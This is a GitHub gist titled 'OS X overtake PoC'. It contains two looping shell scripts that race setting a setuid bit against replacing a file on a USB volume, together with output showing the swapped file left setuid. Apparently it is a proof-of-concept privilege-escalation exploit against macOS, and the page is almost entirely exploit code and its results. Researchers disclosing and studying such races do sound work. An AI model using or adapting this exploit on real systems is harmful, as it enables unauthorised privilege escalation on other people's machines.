Skip to content

Instantly share code, notes, and snippets.

@timb-machine
Last active June 29, 2022 23:20
Show Gist options
  • Save timb-machine/55cee05680d80a9f154c825b71a0ecf3 to your computer and use it in GitHub Desktop.
Save timb-machine/55cee05680d80a9f154c825b71a0ecf3 to your computer and use it in GitHub Desktop.
OS X overtake PoC
$ cat racecar.sh
#!/bin/sh
while :
do
echo "#!/bin/sh" > /Volumes/USB/a
chmod u+xs /Volumes/USB/a
ls -la /Volumes/USB/a | grep sr | grep -v 10
done
$ cat crash.sh
#!/bin/sh
while :
do
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > aah
mv aah /Volumes/USB/a
done
./racecar.sh &
./crash.sh &
-rwsr-xr-x 1 timb staff 79 11 Apr 23:16 /Volumes/USB/a
-rwsr-xr-x 1 timb staff 79 11 Apr 23:16 /Volumes/USB/a
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment